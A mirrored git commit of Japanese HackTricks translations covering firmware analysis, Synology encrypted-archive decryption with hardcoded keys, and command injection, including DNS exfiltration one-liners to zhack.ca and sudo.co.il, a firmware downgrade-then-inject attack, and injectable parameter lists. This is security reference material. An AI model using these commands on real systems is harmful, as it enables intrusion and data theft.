mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
		
							parent
							
								
									ea11ebd886
								
							
						
					
					
						commit
						f6466d264e
					
				@ -769,6 +769,7 @@
 | 
			
		||||
  - [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
 | 
			
		||||
  - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
 | 
			
		||||
    - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
 | 
			
		||||
  - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
 | 
			
		||||
- [Array Indexing](binary-exploitation/array-indexing.md)
 | 
			
		||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 | 
			
		||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
 | 
			
		||||
 | 
			
		||||
@ -4,15 +4,21 @@
 | 
			
		||||
 | 
			
		||||
## **はじめに**
 | 
			
		||||
 | 
			
		||||
### 関連リソース
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
synology-encrypted-archive-decryption.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に修正することは、セキュリティの脆弱性を特定するための重要なステップです。
 | 
			
		||||
 | 
			
		||||
## **情報収集**
 | 
			
		||||
 | 
			
		||||
**情報収集**は、デバイスの構成や使用されている技術を理解するための重要な初期ステップです。このプロセスには、以下のデータを収集することが含まれます:
 | 
			
		||||
 | 
			
		||||
- CPUアーキテクチャと実行されているオペレーティングシステム
 | 
			
		||||
- 実行されているCPUアーキテクチャとオペレーティングシステム
 | 
			
		||||
- ブートローダーの詳細
 | 
			
		||||
- ハードウェアレイアウトとデータシート
 | 
			
		||||
- ハードウェアのレイアウトとデータシート
 | 
			
		||||
- コードベースのメトリクスとソースの場所
 | 
			
		||||
- 外部ライブラリとライセンスの種類
 | 
			
		||||
- 更新履歴と規制認証
 | 
			
		||||
@ -26,9 +32,9 @@
 | 
			
		||||
ファームウェアを取得する方法はいくつかあり、それぞれ異なる複雑さがあります:
 | 
			
		||||
 | 
			
		||||
- **直接**ソース(開発者、製造業者)から
 | 
			
		||||
- **提供された指示**から構築する
 | 
			
		||||
- **公式サポートサイト**からダウンロードする
 | 
			
		||||
- ホストされたファームウェアファイルを見つけるために**Google dork**クエリを利用する
 | 
			
		||||
- 提供された指示から**ビルド**する
 | 
			
		||||
- 公式サポートサイトから**ダウンロード**する
 | 
			
		||||
- ホストされているファームウェアファイルを見つけるために**Google dork**クエリを利用する
 | 
			
		||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使って**クラウドストレージ**に直接アクセスする
 | 
			
		||||
- 中間者攻撃技術を介して**更新**を傍受する
 | 
			
		||||
- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
 | 
			
		||||
@ -39,7 +45,7 @@
 | 
			
		||||
 | 
			
		||||
## ファームウェアの分析
 | 
			
		||||
 | 
			
		||||
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツールがあります:
 | 
			
		||||
今や**ファームウェアを持っている**ので、それについての情報を抽出してどのように扱うかを知る必要があります。そのために使用できるさまざまなツールがあります:
 | 
			
		||||
```bash
 | 
			
		||||
file <bin>
 | 
			
		||||
strings -n8 <bin>
 | 
			
		||||
@ -56,16 +62,16 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 | 
			
		||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
または[**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/))を使用してファイルを検査します。
 | 
			
		||||
または[**binvis.io**](https://binvis.io/#/)([code](https://code.google.com/archive/p/binvis/))を使用してファイルを検査します。
 | 
			
		||||
 | 
			
		||||
### ファイルシステムの取得
 | 
			
		||||
 | 
			
		||||
前述のツール、例えば`binwalk -ev <bin>`を使用することで、**ファイルシステムを抽出**できるはずです。\
 | 
			
		||||
前述のツール(`binwalk -ev <bin>`など)を使用して、**ファイルシステムを抽出**できたはずです。\
 | 
			
		||||
Binwalkは通常、**ファイルシステムのタイプに名前を付けたフォルダー**内に抽出します。通常、以下のいずれかです:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
 | 
			
		||||
 | 
			
		||||
#### 手動ファイルシステム抽出
 | 
			
		||||
 | 
			
		||||
時々、binwalkは**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従ってそのタイプに応じてファイルシステムを**手動で抽出**します。
 | 
			
		||||
場合によっては、binwalkが**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従って**ファイルシステムを手動で抽出します。
 | 
			
		||||
```
 | 
			
		||||
$ binwalk DIR850L_REVB.bin
 | 
			
		||||
 | 
			
		||||
@ -117,7 +123,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 | 
			
		||||
 | 
			
		||||
### 初期分析ツール
 | 
			
		||||
 | 
			
		||||
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細を理解するのに役立ちます:
 | 
			
		||||
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細を理解するのに役立ちます。
 | 
			
		||||
```bash
 | 
			
		||||
file <bin>
 | 
			
		||||
strings -n8 <bin>
 | 
			
		||||
@ -132,7 +138,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 | 
			
		||||
 | 
			
		||||
### ファイルシステムの抽出
 | 
			
		||||
 | 
			
		||||
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプ(例:squashfs、ubifs)にちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します。
 | 
			
		||||
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプ(例:squashfs、ubifs)にちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します:
 | 
			
		||||
```bash
 | 
			
		||||
$ binwalk DIR850L_REVB.bin
 | 
			
		||||
 | 
			
		||||
@ -164,7 +170,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 | 
			
		||||
 | 
			
		||||
## 動的分析のためのファームウェアのエミュレーション
 | 
			
		||||
 | 
			
		||||
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、アーキテクチャとエンディアンが一致するデバイス(例:Raspberry Pi)や事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
 | 
			
		||||
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストを促進できます。
 | 
			
		||||
 | 
			
		||||
### 個々のバイナリのエミュレーション
 | 
			
		||||
 | 
			
		||||
@ -192,7 +198,7 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
 | 
			
		||||
 | 
			
		||||
## 実践における動的分析
 | 
			
		||||
 | 
			
		||||
この段階では、実際のデバイス環境またはエミュレートされた環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
 | 
			
		||||
この段階では、実際のデバイス環境またはエミュレートされた環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションの再起動が必要です。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
 | 
			
		||||
 | 
			
		||||
## 実行時分析技術
 | 
			
		||||
 | 
			
		||||
@ -200,7 +206,7 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
 | 
			
		||||
 | 
			
		||||
## バイナリの悪用と概念実証
 | 
			
		||||
 | 
			
		||||
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャと低レベル言語でのプログラミングに関する深い理解が必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミング(ROP)などの技術が必要になることがあります。
 | 
			
		||||
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミング(ROP)などの技術が必要になることがあります。
 | 
			
		||||
 | 
			
		||||
## ファームウェア分析のための準備されたオペレーティングシステム
 | 
			
		||||
 | 
			
		||||
@ -219,11 +225,11 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
 | 
			
		||||
 | 
			
		||||
1. **古い署名済みイメージを取得**
 | 
			
		||||
   * ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
 | 
			
		||||
   * 付随するモバイル/デスクトップアプリケーションから抽出します(例:Android APKの `assets/firmware/` 内)。
 | 
			
		||||
   * 付属のモバイル/デスクトップアプリケーションから抽出します(例:Android APKの `assets/firmware/` 内)。
 | 
			
		||||
   * VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
 | 
			
		||||
2. **イメージをデバイスにアップロードまたは提供** します:
 | 
			
		||||
   * Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
 | 
			
		||||
   * 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
 | 
			
		||||
   * 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない*HTTP(S)エンドポイントを公開しており、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
 | 
			
		||||
3. ダウングレード後、最新のリリースで修正された脆弱性を悪用します(例えば、後で追加されたコマンドインジェクションフィルターなど)。
 | 
			
		||||
4. オプションで、最新のイメージを再フラッシュするか、持続性を得た後に検出を避けるために更新を無効にします。
 | 
			
		||||
 | 
			
		||||
@ -234,11 +240,11 @@ Host: 192.168.0.1
 | 
			
		||||
Content-Type: application/octet-stream
 | 
			
		||||
Content-Length: 0
 | 
			
		||||
```
 | 
			
		||||
脆弱な(ダウングレードされた)ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしています(ここでは、SSHキーによるルートアクセスの有効化)。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護が欠如しているため、修正は無意味です。
 | 
			
		||||
脆弱な(ダウングレードされた)ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしています(ここでは、SSHキーによるルートアクセスの有効化)。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護がないため、修正は無意味です。
 | 
			
		||||
 | 
			
		||||
### モバイルアプリからのファームウェアの抽出
 | 
			
		||||
 | 
			
		||||
多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリケーション内にバンドルしています。これらのパッケージは、一般的に`assets/fw/`や`res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool`、`ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
 | 
			
		||||
多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリ内にバンドルしています。これらのパッケージは、一般的に`assets/fw/`や`res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool`、`ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
 | 
			
		||||
```
 | 
			
		||||
$ apktool d vendor-app.apk -o vendor-app
 | 
			
		||||
$ ls vendor-app/assets/firmware
 | 
			
		||||
@ -247,10 +253,10 @@ firmware_v1.3.11.490_signed.bin
 | 
			
		||||
### アップデートロジック評価のチェックリスト
 | 
			
		||||
 | 
			
		||||
* *アップデートエンドポイント*の輸送/認証は適切に保護されていますか(TLS + 認証)?
 | 
			
		||||
* デバイスはフラッシュする前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
 | 
			
		||||
* デバイスはフラッシングの前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
 | 
			
		||||
* 画像はセキュアブートチェーン内で検証されていますか(例:ROMコードによる署名の確認)?
 | 
			
		||||
* ユーザーランドコードは追加のサニティチェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
 | 
			
		||||
* *部分的*または*バックアップ*アップデートフローは同じ検証ロジックを再利用していますか?
 | 
			
		||||
* ユーザーランドコードは追加の整合性チェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
 | 
			
		||||
* *部分的*または*バックアップ*のアップデートフローは同じ検証ロジックを再利用していますか?
 | 
			
		||||
 | 
			
		||||
> 💡  上記のいずれかが欠けている場合、プラットフォームはロールバック攻撃に対して脆弱である可能性があります。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -0,0 +1,162 @@
 | 
			
		||||
# Synology PAT/SPK 暗号化アーカイブの復号
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## 概要
 | 
			
		||||
 | 
			
		||||
いくつかのSynologyデバイス(DSM/BSM NAS、BeeStationなど)は、**暗号化されたPAT / SPKアーカイブ**でファームウェアとアプリケーションパッケージを配布しています。これらのアーカイブは、公式の抽出ライブラリに埋め込まれたハードコーディングされたキーのおかげで、公開ダウンロードファイルだけで*オフライン*で復号できます。
 | 
			
		||||
 | 
			
		||||
このページでは、暗号化形式の動作と、各パッケージ内にあるクリアテキストの**TAR**を完全に復元する方法をステップバイステップで文書化しています。この手順は、Pwn2Own Ireland 2024中に行われたSynacktivの研究に基づいており、オープンソースツール[`synodecrypt`](https://github.com/synacktiv/synodecrypt)に実装されています。
 | 
			
		||||
 | 
			
		||||
> ⚠️  フォーマットは`*.pat`(システム更新)と`*.spk`(アプリケーション)アーカイブの両方で全く同じです – 選択されるハードコーディングされたキーのペアだけが異なります。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 1. アーカイブを取得する
 | 
			
		||||
 | 
			
		||||
ファームウェア/アプリケーションの更新は、通常、Synologyの公開ポータルからダウンロードできます:
 | 
			
		||||
```bash
 | 
			
		||||
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
 | 
			
		||||
```
 | 
			
		||||
## 2. PAT構造をダンプする(オプション)
 | 
			
		||||
 | 
			
		||||
`*.pat`イメージは、いくつかのファイル(ブートローダー、カーネル、rootfs、パッケージなど)を埋め込んだ**cpioバンドル**です。無料のユーティリティ[`patology`](https://github.com/sud0woodo/patology)は、そのラッパーを検査するのに便利です:
 | 
			
		||||
```bash
 | 
			
		||||
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
 | 
			
		||||
[…]
 | 
			
		||||
$ ls
 | 
			
		||||
DiskCompatibilityDB.tar  hda1.tgz  rd.bin  packages/  …
 | 
			
		||||
```
 | 
			
		||||
`*.spk`の場合、直接ステップ3に進むことができます。
 | 
			
		||||
 | 
			
		||||
## 3. Synologyの抽出ライブラリを抽出する
 | 
			
		||||
 | 
			
		||||
実際の復号化ロジックは以下にあります:
 | 
			
		||||
 | 
			
		||||
* `/usr/syno/sbin/synoarchive`               → メインCLIラッパー
 | 
			
		||||
* `/usr/lib/libsynopkg.so.1`                 → DSM UIからラッパーを呼び出す
 | 
			
		||||
* `libsynocodesign.so`                       → **暗号実装を含む**
 | 
			
		||||
 | 
			
		||||
両方のバイナリはシステムのrootfs(`hda1.tgz`)**および**圧縮されたinit-rd(`rd.bin`)に存在します。PATのみを持っている場合は、次の方法で取得できます:
 | 
			
		||||
```bash
 | 
			
		||||
# rd.bin is LZMA-compressed CPIO
 | 
			
		||||
$ lzcat rd.bin | cpio -id 2>/dev/null
 | 
			
		||||
$ file usr/lib/libsynocodesign.so
 | 
			
		||||
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
 | 
			
		||||
```
 | 
			
		||||
## 4. ハードコーディングされたキーの回復 (`get_keys`)
 | 
			
		||||
 | 
			
		||||
`libsynocodesign.so` 内の関数 `get_keys(int keytype)` は、要求されたアーカイブファミリーのために単に2つの128ビットのグローバル変数を返します:
 | 
			
		||||
```c
 | 
			
		||||
case 0:            // PAT (system)
 | 
			
		||||
case 10:
 | 
			
		||||
case 11:
 | 
			
		||||
signature_key = qword_23A40;
 | 
			
		||||
master_key    = qword_23A68;
 | 
			
		||||
break;
 | 
			
		||||
 | 
			
		||||
case 3:            // SPK (applications)
 | 
			
		||||
signature_key = qword_23AE0;
 | 
			
		||||
master_key    = qword_23B08;
 | 
			
		||||
break;
 | 
			
		||||
```
 | 
			
		||||
* **signature_key** → アーカイブヘッダーを検証するために使用されるEd25519公開鍵。
 | 
			
		||||
* **master_key**    → アーカイブごとの暗号化キーを導出するために使用されるルートキー。
 | 
			
		||||
 | 
			
		||||
各DSMメジャーバージョンごとに、これらの2つの定数を一度だけダンプする必要があります。
 | 
			
		||||
 | 
			
		||||
## 5. ヘッダー構造と署名検証
 | 
			
		||||
 | 
			
		||||
`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()` は以下を実行します:
 | 
			
		||||
 | 
			
		||||
1. マジックを読み取る (3バイト) `0xBFBAAD` **または** `0xADBEEF`。
 | 
			
		||||
2. リトルエンディアン32ビット `header_len` を読み取る。
 | 
			
		||||
3. `header_len` バイト + 次の **0x40バイトのEd25519署名** を読み取る。
 | 
			
		||||
4. `crypto_sign_verify_detached()` が成功するまで、すべての埋め込まれた公開鍵を反復処理する。
 | 
			
		||||
5. **MessagePack** でヘッダーをデコードし、次の結果を得る:
 | 
			
		||||
```python
 | 
			
		||||
[
 | 
			
		||||
data: bytes,
 | 
			
		||||
entries: [ [size: int, sha256: bytes], … ],
 | 
			
		||||
archive_description: bytes,
 | 
			
		||||
serial_number: [bytes],
 | 
			
		||||
not_valid_before: int
 | 
			
		||||
]
 | 
			
		||||
```
 | 
			
		||||
`entries` は、libarchive が各ファイルの整合性をチェックできるようにします。
 | 
			
		||||
 | 
			
		||||
## 6. アーカイブごとのサブキーを導出する
 | 
			
		||||
 | 
			
		||||
MessagePack ヘッダーに含まれる `data` ブロブから:
 | 
			
		||||
 | 
			
		||||
* `subkey_id`  = オフセット 0x10 のリトルエンディアン `uint64`
 | 
			
		||||
* `ctx`        = オフセット 0x18 の 7 バイト
 | 
			
		||||
 | 
			
		||||
32 バイトの **ストリームキー** は libsodium を使用して取得されます:
 | 
			
		||||
```c
 | 
			
		||||
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
 | 
			
		||||
```
 | 
			
		||||
## 7. Synologyのカスタム **libarchive** バックエンド
 | 
			
		||||
 | 
			
		||||
Synologyは、マジックが `0xADBEEF` の場合に偽の "tar" フォーマットを登録するパッチを当てたlibarchiveをバンドルしています:
 | 
			
		||||
```c
 | 
			
		||||
register_format(
 | 
			
		||||
"tar", spk_bid, spk_options,
 | 
			
		||||
spk_read_header, spk_read_data, spk_read_data_skip,
 | 
			
		||||
NULL, spk_cleanup, NULL, NULL);
 | 
			
		||||
```
 | 
			
		||||
### spk_read_header()
 | 
			
		||||
```
 | 
			
		||||
- Read 0x200 bytes
 | 
			
		||||
- nonce  = buf[0:0x18]
 | 
			
		||||
- cipher = buf[0x18:0x18+0x193]
 | 
			
		||||
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
 | 
			
		||||
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
 | 
			
		||||
```
 | 
			
		||||
復号化された `tar_hdr` は **古典的なPOSIX TARヘッダー** です。
 | 
			
		||||
 | 
			
		||||
### spk_read_data()
 | 
			
		||||
```
 | 
			
		||||
while (remaining > 0):
 | 
			
		||||
chunk_len = min(0x400000, remaining) + 0x11   # +tag
 | 
			
		||||
buf   = archive_read_ahead(chunk_len)
 | 
			
		||||
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
 | 
			
		||||
remaining -= chunk_len - 0x11
 | 
			
		||||
```
 | 
			
		||||
各 **0x18バイトのノンス** は暗号化されたチャンクの前に追加されます。
 | 
			
		||||
 | 
			
		||||
すべてのエントリが処理されると、libarchiveは任意の標準ツールで解凍できる完全に有効な **`.tar`** を生成します。
 | 
			
		||||
 | 
			
		||||
## 8. synodecryptを使用してすべてを復号化する
 | 
			
		||||
```bash
 | 
			
		||||
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
 | 
			
		||||
[+] found matching keys (SPK)
 | 
			
		||||
[+] header signature verified
 | 
			
		||||
[+] 104 entries
 | 
			
		||||
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
 | 
			
		||||
 | 
			
		||||
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
 | 
			
		||||
```
 | 
			
		||||
`synodecrypt` は自動的に PAT/SPK を検出し、正しいキーをロードして、上記で説明したフルチェーンを適用します。
 | 
			
		||||
 | 
			
		||||
## 9. 一般的な落とし穴
 | 
			
		||||
 | 
			
		||||
* `signature_key` と `master_key` を入れ替えないでください – それぞれ異なる目的があります。
 | 
			
		||||
* **nonce** はすべてのブロック(ヘッダーとデータ)の暗号文の *前* に来ます。
 | 
			
		||||
* 最大暗号化チャンクサイズは **0x400000 + 0x11** (libsodium タグ)です。
 | 
			
		||||
* 一つの DSM 世代のために作成されたアーカイブは、次のリリースで異なるハードコーディングされたキーに切り替わる可能性があります。
 | 
			
		||||
 | 
			
		||||
## 10. 追加ツール
 | 
			
		||||
 | 
			
		||||
* [`patology`](https://github.com/sud0woodo/patology) – PAT アーカイブを解析/ダンプします。
 | 
			
		||||
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – PAT/SPK/その他を復号化します。
 | 
			
		||||
* [`libsodium`](https://github.com/jedisct1/libsodium) – XChaCha20-Poly1305 secretstream のリファレンス実装です。
 | 
			
		||||
* [`msgpack`](https://msgpack.org/) – ヘッダーのシリアライゼーション。
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
- [Extraction of Synology encrypted archives – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 | 
			
		||||
- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
 | 
			
		||||
- [patology on GitHub](https://github.com/sud0woodo/patology)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
@ -1,4 +1,4 @@
 | 
			
		||||
# コマンドインジェクション
 | 
			
		||||
# Command Injection
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@
 | 
			
		||||
 | 
			
		||||
### コンテキスト
 | 
			
		||||
 | 
			
		||||
**入力がどこにインジェクトされるか**によって、コマンドの前に**引用されたコンテキストを終了する**必要があるかもしれません(`"`または`'`を使用)。 
 | 
			
		||||
**入力がどこにインジェクトされているか**に応じて、コマンドの前に**引用されたコンテキストを終了する**必要があるかもしれません(`"`または`'`を使用)。 
 | 
			
		||||
 | 
			
		||||
## コマンドインジェクション/実行
 | 
			
		||||
```bash
 | 
			
		||||
@ -45,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 | 
			
		||||
```
 | 
			
		||||
### パラメータ
 | 
			
		||||
 | 
			
		||||
ここにコードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります([link](https://twitter.com/trbughunters/status/1283133356922884096)から):
 | 
			
		||||
ここに、コードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります([link](https://twitter.com/trbughunters/status/1283133356922884096)から):
 | 
			
		||||
```
 | 
			
		||||
?cmd={payload}
 | 
			
		||||
?exec={payload}
 | 
			
		||||
@ -73,7 +73,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 | 
			
		||||
?run={payload}
 | 
			
		||||
?print={payload}
 | 
			
		||||
```
 | 
			
		||||
### 時間ベースのデータ抽出
 | 
			
		||||
### 時間ベースのデータ流出
 | 
			
		||||
 | 
			
		||||
データを抽出する: 文字ごとに
 | 
			
		||||
```
 | 
			
		||||
@ -87,7 +87,7 @@ real    0m0.002s
 | 
			
		||||
user    0m0.000s
 | 
			
		||||
sys 0m0.000s
 | 
			
		||||
```
 | 
			
		||||
### DNSを利用したデータ流出
 | 
			
		||||
### DNSを利用したデータの流出
 | 
			
		||||
 | 
			
		||||
`https://github.com/HoLyVieR/dnsbin`からのツールに基づいており、dnsbin.zhack.caでもホストされています。
 | 
			
		||||
```
 | 
			
		||||
@ -99,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 | 
			
		||||
```
 | 
			
		||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 | 
			
		||||
```
 | 
			
		||||
DNSベースのデータ流出をチェックするためのオンラインツール:
 | 
			
		||||
オンラインツールを使用してDNSベースのデータ流出を確認する:
 | 
			
		||||
 | 
			
		||||
- dnsbin.zhack.ca
 | 
			
		||||
- pingb.in
 | 
			
		||||
@ -117,6 +117,28 @@ powershell C:**2\n??e*d.*? # notepad
 | 
			
		||||
../linux-hardening/bypass-bash-restrictions/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Node.js `child_process.exec` と `execFile`
 | 
			
		||||
 | 
			
		||||
JavaScript/TypeScript バックエンドを監査する際、Node.js `child_process` API に頻繁に遭遇します。
 | 
			
		||||
```javascript
 | 
			
		||||
// Vulnerable: user-controlled variables interpolated inside a template string
 | 
			
		||||
const { exec } = require('child_process');
 | 
			
		||||
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
 | 
			
		||||
/* … */
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
`exec()`は**シェル**(`/bin/sh -c`)を生成するため、シェルに特別な意味を持つ任意の文字(バックティック、`;`、`&&`、`|`、`$()`、…)は、ユーザー入力が文字列に連結されると**コマンドインジェクション**を引き起こします。
 | 
			
		||||
 | 
			
		||||
**緩和策:** `execFile()`(または`shell`オプションなしの`spawn()`)を使用し、**各引数を別々の配列要素として提供**することで、シェルが関与しないようにします:
 | 
			
		||||
```javascript
 | 
			
		||||
const { execFile } = require('child_process');
 | 
			
		||||
execFile('/usr/bin/do-something', [
 | 
			
		||||
'--id_user', id_user,
 | 
			
		||||
'--payload', JSON.stringify(payload)
 | 
			
		||||
]);
 | 
			
		||||
```
 | 
			
		||||
実際のケース: *Synology Photos* ≤ 1.7.0-0794 は、攻撃者が制御するデータを `id_user` に配置する認証されていない WebSocket イベントを通じて悪用可能であり、その後 `exec()` 呼び出しに埋め込まれ、RCE を達成しました (Pwn2Own Ireland 2024)。
 | 
			
		||||
 | 
			
		||||
## ブルートフォース検出リスト
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -125,7 +147,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
